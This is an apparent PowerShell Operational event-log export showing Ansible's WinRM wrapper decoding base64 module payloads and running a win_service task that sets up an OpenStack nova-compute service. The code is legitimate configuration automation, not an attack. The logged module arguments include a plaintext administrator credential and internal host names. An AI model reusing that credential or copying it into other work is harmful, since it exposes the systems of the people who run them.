Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2064 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4932 | 4688 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:25 AM | 61e00a24-ee3b-0002-310b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 6):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVudHJ5cG9pbnQpKQoKICAgICRwcyA9IFtwb3dlcnNoZWxsXTo6Q3JlYXRlKCkKCiAgICAkcHMuQWRkU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9IE5ldy1PYmplY3QgVGV4dC5VVEY4RW5jb2RpbmcgYCRmYWxzZSIpIHwgT3V0LU51bGwKICAgIH0KCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkU2NyaXB0KCRlbnRyeXBvaW50KSB8IE91dC1OdWxsCgogICAgJG91dHB1dCA9ICRwcy5JbnZva2UoKQoKICAgICRvdXRwdXQKCiAgICAjIFBTMyBkb2Vzbid0IHByb3Blcmx5IHNldCBIYWRFcnJvcnMgaW4gbWFueSBjYXNlcywgaW5zcGVjdCB0aGUgZXJyb3Igc3RyZWFtIGFzIGEgZmFsbGJhY2sKICAgIElmICgkcHMuSGFkRXJyb3JzIC1vciAoJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbi5NYWpvciAtbHQgNCAtYW5kICRwcy5TdHJlYW1zLkVycm9yLkNvdW50IC1ndCAwKSkgewogICAgICAgICRob3N0LlVJLldyaXRlRXJyb3JMaW5lKCQoJHBzLlN0cmVhbXMuRXJyb3IgfCBPdXQtU3RyaW5nKSkKICAgICAgICAkZXhpdF9jb2RlID0gJHBzLlJ1bnNwYWNlLlNlc3Npb25TdGF0ZVByb3h5LkdldFZhcmlhYmxlKCJMQVNURVhJVENPREUiKQogICAgICAgIElmKC1ub3QgJGV4aXRfY29kZSkgewogICAgICAgICAgICAkZXhpdF9jb2RlID0gMQogICAgICAgIH0KICAgICAgICAjIG5lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.SID": "IyBDb3B5cmlnaHQgKGMpIDIwMTcgQW5zaWJsZSBQcm9qZWN0CiMgU2ltcGxpZmllZCBCU0Qg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W5pZW5jZSB0byBtYWtlIGFkZGluZyBNZW1iZXJzIHRvIHRoZSBvYmplY3QgZWFzaWVyIGFuZAogICAgc2xpZ2h0bHkgbW9yZSBweXRob25pYwogICAgLkVYQU1QTEUKICAgI
ScriptBlock ID: 3c709c1b-d996-4fba-a597-994cdcdee68e
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2063 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4932 | 4688 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:25 AM | 61e00a24-ee3b-0002-310b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2062 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4932 | 4740 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:25 AM | 61e00a24-ee3b-0002-2f0b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4932 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2061 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4932 | 4604 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:25 AM | 61e00a24-ee3b-0002-2f0b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2060 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4932 | 4740 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:25 AM | 61e00a24-ee3b-0002-2f0b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Error Message = Exception calling ".ctor" with "1" argument(s): "Value was invalid.
Parameter name: sddlForm"
Fully Qualified Error ID = ConstructorInvokedThrowException,Microsoft.PowerShell.Commands.NewObjectCommand
Context:
Severity = Warning
Host Name = Default Host
Host Version = 5.1.14393.1944
Host ID = 9ed23fbf-f90e-4e96-8e43-353c47c03ee1
Host Application = PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -
Engine Version = 5.1.14393.1944
Runspace ID = be3e6cb7-41ae-40c4-a534-947ff025b0a3
Pipeline ID = 6
Command Name = New-Object
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number = 33
User = N-H1-758944-2\Admin
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
| 4100 | 1 | | 3 | 106 | 19 | 0 | 2059 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2724 | 4200 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:18 AM | 61e00a24-ee3b-0004-120b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | To be used when an exception is raised | Executing Pipeline | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: 7a833381-1b23-4d7d-a8d8-542859a99987
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2058 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2724 | 2024 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:18 AM | 61e00a24-ee3b-0004-fb0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: 0b610a2f-c530-4b89-a444-a8e1a0d3ed76
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2057 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2724 | 2024 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:17 AM | 61e00a24-ee3b-0004-e80a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 4):
tual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: 5cf7e6fa-a682-4f7d-b297-bb64b7433f85
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2056 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2724 | 2024 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:17 AM | 61e00a24-ee3b-0003-ff0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 4):
MgaW4gdGhlIGRhdGFiYXNlIG9mIHNlcnZpY2VzIGF2YWlsYWJsZSBmcm9tIHRoZSBzeXN0ZW0iIH0KICAgICAgICAyNCB7ICJTZXJ2aWNlIEFscmVhZHkgUGF1c2VkOiBUaGUgc2VydmljZSBpcyBjdXJyZW50bHkgcGF1c2VkIGluIHRoZSBzeXN0ZW0iIH0KICAgICAgICBkZWZhdWx0IHsgIk90aGVyIEVycm9yIiB9CiAgICB9Cn0KCkZ1bmN0aW9uIEdldC1EZWxheWVkU3RhdHVzKCRuYW1lKSB7CiAg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GVwZW5kZW5jeV9hY3Rpb24gLWVxICdyZW1vdmUnKSB7CiAgICAgICAgICAgICAgICBpZiAoJG5ld19kZXBlbmRlbmNpZXMgLWNvbnRhaW5zICRkZXBlbmRlbmN5KSB7CiAgICAgICAgICAgICAgICAgICAgJG5ld19kZXBlbmRlbmNpZXMuUmVtb3ZlKCRkZXBlbmRlbmN5KQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2VpZiAoJGRlcGVuZGVuY3lfYWN0aW9uIC1lcSAnYWRkJykgewogICAgICAgICAgICAgICAgaWYgKCRuZXdfZGVwZW5kZW5jaWVzIC1ub3Rjb250YWlucyAkZGVwZW5kZW5jeSkgewogICAgICAgICAgICAgICAgICAgICRuZXdfZGVwZW5kZW5jaWVzLkFkZCgkZGVwZW5kZW5jeSkKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICAkd2lsbF9jaGFuZ2UgPSAkZmFsc2UKICAgIGZvcmVhY2ggKCRkZXBlbmRlbmN5IGluICRuZXdfZGVwZW5kZW5jaWVzKSB7CiAgICAgICAgaWYgKCRleGlzdGluZ19kZXBlbmRlbmNpZXMgLW5vdGNvbnRhaW5zICRkZXBlbmRlbmN5KSB7CiAgICAgICAgICAgICR3aWxsX2NoYW5nZSA9ICR0cnVlCiAgICAgICAgfQogICAgfQogICAgZm9yZWFjaCAoJGRlcGVuZGVuY3kgaW4gJGV4aXN0aW5nX2RlcGVuZGVuY2llcykgewogICAgICAgIGlmICgkbmV3X2RlcGVuZGVuY2llcyAtbm90Y29udGFpbnMgJGRlcGVuZGVuY3kpIHsKICAgICAgICAgICAgJHdpbGxfY2hhbmdlID0gJHRydWUKICAgICAgICB9CiAgICB9CgogICAgaWYgKCR3aWxsX2NoYW5nZSAtZXEgJHRydWUpIHsKICAgICAgICBpZiAoLW5vdCAkY2hlY2tfbW9kZSkgewogICAgICAgICAgICAkcmV0dXJuID0gJHdtaV9zdmMgfCBJbnZva2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AgICMgUmVjcmVhdGUgcmVzdWx0IHNvIGl0IGRvZXNuJ3QgaGF2ZSB0aGUgZXh0cmEgbWV0YSBkYXRhIG5vdyB0aGF0IGlzIGhhcyBiZWVuIGRlbGV0ZWQKICAgICRjaGFuZ2VkID0gJHJlc3VsdC5jaGFuZ2VkCiAgICAkcmVzdWx0ID0gQHsKICAgICAgICBjaGFuZ2VkID0gJGNoYW5nZWQKICAgICAgICBleGlzdHMgPSAkZmFsc2UKICAgIH0KfSBlbHNlaWYgKCRzdmMgLW5lICRudWxsKSB7CiAgICBHZXQtU2VydmljZUluZm8gLW5hbWUgJG5hbWUKfQoKRXhpdC1Kc29uIC1vYmogJHJlc3VsdAo=", "module_args": {"_ansible_version": "2.7.0", "_ansible_check_mode": false, "display_name": "nova-compute", "_ansible_module_name": "win_service", "state": "started", "_ansible_debug": false, "_ansible_shell_executable": "/bin/sh", "username": "administrator@cbci-758944-2.local", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "description": "OpenStack nova Compute Service", "_ansible_syslog_facility": "LOG_USER", "_ansible_keep_remote_files": false, "_ansible_socket": null, "path": "c:\\openstack\\bin\\OpenStackService.exe nova-compute c:\\python37\\scripts\\nova-compute.exe --config-file c:\\openstack\\etc\\nova.conf", "password": "Passw0rd", "_ansible_no_log": false, "name": "nova-compute", "start_mode": "auto", "_ansible_verbosity": 2, "_ansible_diff": false, "_ansible_remote_tmp": "%TEMP%", "_ansible_tmpdir": null}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $ac
ScriptBlock ID: 5cf7e6fa-a682-4f7d-b297-bb64b7433f85
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2055 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2724 | 2024 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:17 AM | 61e00a24-ee3b-0003-ff0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 4):
YXMgc3BlY2lmaWVkCiAgICAjIFdoZW4gJHZhbHVlIGlzIGFscmVhZHkgYW4gYXJyYXksIHdlIGNhbm5vdCByZWx5IG9uIHRoZSBudWxsIGNoZWNrLCBhcyBhbiBlbXB0eSBsaXN0CiAgICAjIGlzIHNlZW4gYXMgbnVsbCBpbiB0aGUgY2hlY2sgYmVsb3cKICAgIGlmICgkbnVsbCAtbmUgJHZhbHVlIC1vciAkdmFsdWUgLWlzIFthcnJheV0pIHsKICAgICAgICBpZiAoJHR5cGUgLWVxICJwYXRoIikgewogICAgICAgICAgICAjIEV4cGFuZCBlbnZpcm9ubWVudCB2YXJpYWJsZXMgb24gcGF0aC10eXBlCiAgICAgICAgICAgICR2YWx1ZSA9IEV4cGFuZC1FbnZpcm9ubWVudCgkdmFsdWUpCiAgICAgICAgICAgICMgVGVzdCBpZiBhIHZhbGlkIHBhdGggaXMgcHJvdmlkZWQKICAgICAgICAgICAgaWYgKC1ub3QgKFRlc3QtUGF0aCAtSXNWYWxpZCAkdmFsdWUpKSB7CiAgICAgICAgICAgICAgICAkcGF0aF9pbnZhbGlkID0gJHRydWUKICAgICAgICAgICAgICAgICMgY291bGQgc3RpbGwgYmUgYSB2YWxpZC1zaGFwZWQgcGF0aCB3aXRoIGEgbm9uZXhpc3RlbnQgZHJpdmUgbGV0dGVyCiAgICAgICAgICAgICAgICBpZiAoJHZhbHVlIC1tYXRjaCAiXlx3OiIpIHsKICAgICAgICAgICAgICAgICAgICAjIHJld3JpdGUgcGF0aCB3aXRoIGEgdmFsaWQgZHJpdmUgbGV0dGVyIGFuZCByZWNoZWNrIHRoZSBzaGFwZS0gdGhpcyBtaWdodCBzdGlsbCBmYWlsLCBlZywgYSBub25leGlzdGVudCBub24tZmlsZXN5c3RlbSBQUyBwYXRoCiAgICAgICAgICAgICAgICAgICAgaWYgKFRlc3QtUGF0aCAtSXNWYWxpZCAkKEAoR2V0LVBTRHJpdmUgLVBTUHJvdmlkZXIgRmlsZXN5c3RlbSlbMF0uTmFtZSArICR2YWx1ZS5TdWJzdHJpbmcoMSkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoX2ludmFsaWQgPSAkZmFsc2UKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHBhdGhfaW52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2l